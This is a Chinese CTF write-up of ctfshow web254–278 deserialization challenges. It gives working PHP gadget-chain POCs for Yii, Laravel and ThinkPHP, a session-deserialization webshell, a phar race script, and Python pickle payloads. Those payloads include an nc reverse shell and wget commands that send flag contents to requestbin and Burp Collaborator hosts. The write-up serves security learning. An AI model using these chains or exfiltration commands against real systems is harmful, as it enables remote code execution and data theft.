前言:
Bit师傅的:php反序列化详解
Y4师傅的:[CTF]PHP反序列化总结
反序列化是第一次学习,更多的是跟着其他师傅的WP思路走,其中好些题是没彻底搞懂的,也建议先学习点反序列化基础知识再做题
文章目录
-
- web254——小热身
- web255——
- web256——
- web257——
- web258——加号绕过正则: `/[oc]:\d+:/i`
- web259——SoapClient与CRLF组合拳
- web260——
- web262——反序列化字符串逃逸
- web263——session反序列化
- web264——反序列化字符串逃逸
- web265——反序列化中指针引用:&
- web266——PHP对类名的大小写不敏感
- web267——Yii反序列化漏洞
- web268——Yii反序列化漏洞
- web269、270——Yii反序列化漏洞
- web271——Laravel5.7 反序列化漏洞
- web272、273——Laravel5.8 反序列化漏洞
- web274—— Thinkphp5.1反序列化漏洞
- web275——
- web277——python反序列化
- web276——Phar反序列化
- web278——Python反序列化
web254——小热身
直接?username=xxxxxx&password=xxxxxx
即可,哈哈
web255——
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
序列化将对象保存到字符串,反序列化将字符串恢复为对象
$user
是反序列化$_COOKIE['user']
得到的
很明显,$user
要求是类,且是ctfShowUser这个类。要输出flag就需要$isVip=true
,既然对我们的输出没有过滤,那么可以直接传一个类被序列化过的进去,该类中:$isVip=true
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;}
$a= serialize(new ctfShowUser());
echo urlencode($a);
?>
以上php脚本,得到我们需要的序列化字符串,注意要进行URL编码!
注意在cookie字段当中的数据需要url编码一波,其名称以及存储的字符串值是必须经过URL编码的
可以在浏览器操作,还可以抓包用修改,我贪方便直接在浏览器上做
web256——
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
仔细一看发现这里的代码改了:
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
要求不相等才有flag
认真看这段代码的逻辑是:将我们输入的$_COOKIE['user']
的值反序列化,然后比较反序列化后的username
与我们GET传递的username
相等,但不能与password
一样。只要修改php脚本中的password(或username)值即可
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='6'; //修改password的值使得与username的值不一样
public $isVip=true;}
$a= serialize(new ctfShowUser());
echo urlencode($a);
?>
以上php脚本,得到我们需要的序列化字符串,注意要进行URL编码!
输出:O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%226%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web257——
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
__construct
当对象被创建的时候自动调用,对对象进行初始化。当所有的操作执行完毕之后,需要释放序列化的对象,触发__destruct()
魔术方法
我们需要利用eval()
,eval()
是在backDoor
类的getInfo()
方法中,我们在__construct()
中实例化这个类。__destruct()
就会在eval()
中执行命令
<?php
class ctfShowUser
{
private $username='xxxxxx';
private $password='xxxxxx';
public function __construct()
{
$this->class=new backDoor();
}
public function __destruct()
{
$this->class->getInfo();
}
}
class backDoor
{
private $code="system('cat f*');";
public function getInfo()
{
eval($this->code);
}
}
$a= serialize(new ctfShowUser());
echo urlencode($a);
?>
GET传参?username=xxxxxx&password=xxxxxx
web258——加号绕过正则: /[oc]:\d+:/i
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
多了一个正则表达式:/[oc]:\d+:/i
。意思是过滤这两种情况:o:数字:
与c:数字:
这种情况是用+(加号)
绕过的,如:o:+
脚本类似上题的,但要注意全都是public类型,末尾再加个替换函数str_replace()
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct(){
$this->class=new backDoor();
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
public $code="system('cat f*');";
public function getInfo(){
eval($this->code);
}
}
$a= serialize(new ctfShowUser());
echo $a."\n";
$a=str_replace("O:","O:+",$a);
echo $a."\n";
echo urlencode($a);
?>
web259——SoapClient与CRLF组合拳
看着hint做出来的,但是不懂真正的原理
参考Y4师傅的文章:https://y4tacker.blog.csdn.net/article/details/110521104
web260——
要求序列化之后能匹配到ctfshow_i_love_36D
直接将ctfshow_i_love_36D
传进去序列化也会有ctfshow_i_love_36D
字段
web262——反序列化字符串逃逸
web263——session反序列化
关于php的session.serialize_handler的问题
php
引擎的存储格式是键名|serialized_string
,而php_serialize
引擎的存储格式是serialized_string
。如果程序使用两个引擎来分别处理的话就会出现问题
session.serialize_handler( 5.5.4前默认是php;5.5.4后改为php_serialize)存在以下几种
- php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
- php 键名+竖线(|)+经过serialize()函数处理过的值
- php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化
源码泄露,访问:URL+www.zip 得到源码
查看inc.php,其中ini_set('session.serialize_handler', 'php');
表明使用的是php
引擎,与默认的是不同的。因此想到 session反序列化
查看index.php,设置了session和cookie
inc.php的__destruct()
方法中有一个写文件函数file_put_contents()
利用它我们把flag写入一个新文件。
查看check.php发现此处调用了$_COOKIE['limit']
,利用它将我们构造的payload执行
payload:username写文件名,password写一句话木马
<?php
class User{
public $username='6.php';
public $password="<?php system('cat flag.php');?>";
public $status='a';}
$a=serialize(new User());
echo base64_encode('|'.$a); //因为是php引擎,"|"后面的值被当作value执行反序列化
解题步骤:
1.首先访问首页,获得 cookie,同时建立 session
2.抓包修改 cookie 为序列化字符串
3.访问 check.php,反序列化实现 shell 写入
4.访问1.php审查元素查看flag
web264——反序列化字符串逃逸
和web262是基本相同的
不同在于: $msg = unserialize(base64_decode($_SESSION['msg']));
用的是session而不是cookie,就不能直接修改cookie来做了
先在iindex.php页面传参:
?f=1&m=1&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
再去message.php页面创建一个cookie。key为msg
,value随意。
最后刷新一下
web265——反序列化中指针引用:&
<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
指针引用,看个例子
class A{
public $name;
public $age;
}
$DMIND=new A();
$DMIND->name="dmind";
$DMIND->age=&$DMIND->name; //&将name的地址传给 age,所以age的值是跟着name的变化而变化
var_dump($DMIND)
输出:
object(A)#1 (2) {
["name"]=>
&string(5) "dmind"
["age"]=>
&string(5) "dmind"
}
相信聪明的你已经大概知道了,那我就不赘述了~
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct(){
//__construct()初始化赋值
$this->password=&$this->token;
$this->token='a';
}}
$a=serialize(new ctfshowAdmin());
print_r($a);
?>
payload:
?ctfshow=O:12:"ctfshowAdmin":2:{
s:5:"token";s:1:"a";s:8:"password";R:2;}
web266——PHP对类名的大小写不敏感
这里推荐一篇概括比较全面的总结:PHP大小写问题
概括来说就是:
区分大小写的: 变量名、常量名、数组索引(键名key)
不区分大小写的:函数名、方法名、类名、魔术常量、NULL、FALSE、TRUE
<?php
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __destruct(){
global $flag;
echo $flag;
}
}
print_r(serialize(new ctfshow()))
?>
输出得到payload:
O:7:"ctfshow":2:{
s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}
用hackerbar传不成功(不知道为啥…)用burp传才行
web267——Yii反序列化漏洞
Yii是一套基于组件、用于开发大型Web应用的高性能PHP框架。Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize 时,攻击者可通过构造特定的恶意请求执行任意命令。
首先:弱口令登录,admin:admin
在About页面的源码中找到<!--?view-source -->
,然后就尝试访问view-source
即index.php?r=site%2Fabout&view-source
如下图,发现了一个反序列化的入口点
访问/index.php?r=backdoor/shell&code=poc
即可执行命令
poc通过下面脚本输出得到,脚本中:checkAccess
和id
是我们可控的
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'exec'; //PHP函数
$this->id = 'ls />1.txt'; //PHP函数的参数
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new Generator();
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
ls />1.txt 根目录下发现flag
cp /flag 2.txt copy文件到2.txt,再访问2.txt即可
web268——Yii反序列化漏洞
跟上题解法类似,但过滤了flag
、 >
命令就用cp /f* 2.txt
/index.php?r=backdoor/shell&code=
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'exec';
$this->id = 'cp /f* 2.txt';
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['isRunning'] = [new IndexAction(), 'run'];
}
}
}
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess
{
private $processes = [];
public function __construct(){
$this->processes[]=new Generator();
}
}
}
namespace{
use Codeception\Extension\RunProcess;
echo base64_encode(serialize(new RunProcess()));
}
web269、270——Yii反序列化漏洞
换一个POC
/index.php?r=backdoor/shell&code=
<?php
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('shell_exec', 'cp /f* bit.txt'); //此处写命令
echo(base64_encode(serialize($exp)));
}
web271——Laravel5.7 反序列化漏洞
Laravel5.7反序列化RCE漏洞分析
有兴趣可以照着复现一下
给出POC:
<?php
namespace Illuminate\Foundation\Testing {
class PendingCommand
{
public $test;
protected $app;
protected $command;
protected $parameters;
public function __construct($test, $app, $command, $parameters)
{
$this->test = $test; //一个实例化的类 Illuminate\Auth\GenericUser
$this->app = $app; //一个实例化的类 Illuminate\Foundation\Application
$this->command = $command; //要执行的php函数 system
$this->parameters = $parameters; //要执行的php函数的参数 array('id')
}
}
}
namespace Faker {
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace Illuminate\Foundation {
class Application
{
protected $instances = [];
public function __construct($instances = [])
{
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}
namespace {
$defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));
$app = new Illuminate\Foundation\Application();
$application = new Illuminate\Foundation\Application($app);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('whoami')); //此处执行命令
echo urlencode(serialize($pendingcommand));
}
web272、273——Laravel5.8 反序列化漏洞
laravel5.8 反序列化漏洞复现
给出POC:
<?php
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(){
$this->events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{
use Mockery\Generator\MockDefinition;
class QueuedCommand
{
public $connection;
public function __construct(){
$this->connection=new MockDefinition();
}
}
}
namespace Illuminate\Bus{
use Mockery\Loader\EvalLoader;
class Dispatcher
{
protected $queueResolver;
public function __construct(){
$this->queueResolver=[new EvalLoader(),'load'];
}
}
}
namespace Mockery\Loader{
class EvalLoader
{
}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;
public function __construct()
{
$this->code="<?php phpinfo();exit()?>"; //此处是PHP代码
$this->config=new MockConfiguration();
}
}
class MockConfiguration
{
protected $name="feng";
}
}
namespace{
use Illuminate\Broadcasting\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast()));
}
web274—— Thinkphp5.1反序列化漏洞
bfeng师傅的文章:Thinkphp5.1 反序列化漏洞复现
POC如下:
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["lin"=>["calc.exe","calc"]];
$this->data = ["lin"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system"; //PHP函数
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'lin']; //PHP函数的参数
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
web275——
这是主要代码,system里面的参数我们要字符拼接!
拼接一个;cat f*
上去就会执行我们的命令
触发$this->evilfile=true
的方式可以是文件名含有php
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
web277——python反序列化
python的反序列化还没学过,稍微了解师傅们的做法:是nc反弹shell,其中要用到vps,可是我没有…
import os
import pickle
import base64
import requests
class exp(object):
def __reduce__(self):
return (os.popen,('nc ***.***.***.*** 39543 -e /bin/sh',))#此处需要nc VPS的IP...
a=exp()
s=pickle.dumps(a)
url="http://2ecec748-b3b0-4285-8e82-3531e90c2679.chall.ctf.show:8080/backdoor"
params={
'data':base64.b64encode(s)
}
r=requests.get(url=url,params=params)
print(r.text)
但我学习了Y4师傅的解法:
配合requestbin这个网站https://requestbin.net/
,选择Create a RequestBin
获取一个地址
poc如下:通过wget方式,将flag放在URL中
#!/usr/bin/env python
import os
import pickle
import base64
class RunCmd(object):
def __reduce__(self):
return (os.system, ('wget http://requestbin.net/r/duwbu270?a=`cat fla*`',))
print(base64.b64encode(pickle.dumps(RunCmd())))
# m=base64.b64decode(base64.b64encode(pickle.dumps(RunCmd())))
# m=pickle.loads(m)
上述操作后再回到requestbin网站中刷新就有了
web276——Phar反序列化
初探phar://
这是web275plue版,增加了public $admin = false
因此调用system函数变得困难,更惨的是没有反序列化函数!这题就要用到phar
参考了大佬们的脚本,但是可能因为某些原因就是跑不出来…
主要还是体会一下这里面的思路吧
<?php
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content); //以你输入的文件名和数据生成一个文件
copy($_GET['fn'],md5(mt_rand()).'.txt'); //复制为一份别名文件
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);//删除刚刚文件名为我们输出的文件
echo 'work done';
}
}else{
echo 'where is flag?';
}
phar.phar:
<?php
class filter{
public $filename="1.txt;cat f*;";
public $filecontent;
public $evilfile=true;
public $admin = true;
}
$a=new filter();
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
python脚本:
import requests
import threading
url="http://66155619-f7c6-4fb4-acf1-d196be37cdb8.chall.ctf.show:8080/"
f=open("./phar.phar","rb")
content=f.read()
def upload(): #上传1.phar,内容是本地文件:phar.phar
requests.post(url=url+"?fn=1.phar",data=content)
def read(): #利用条件竞争,尝试phar://反序列化1.phar,1.phar没被删除就能被反序列化,因而就能执行system()函数从而执行我们的命令
r = requests.post(url=url+"?fn=phar://1.phar/",data="1")
if "ctfshow{"in r.text or "flag{" in r.text:
print(r.text)
exit()
while 1:
t1=threading.Thread(target=upload)
t2=threading.Thread(target=read)
t1.start()
t2.start()
web278——Python反序列化
web277的升级版,这题过滤了os.system
,与之功能类似的函数是os.popen
两者都是调用shell
的函数
可选择利用burp的Collaborator client
外带
import os
import pickle
import base64
class RunCmd(object):
def __reduce__(self):
return (os.popen, ('wget z994qip2ejzbdjrvv9c5hfl68xen2c.burpcollaborator.net?a=`cat fla*`',))
print(base64.b64encode(pickle.dumps(RunCmd())))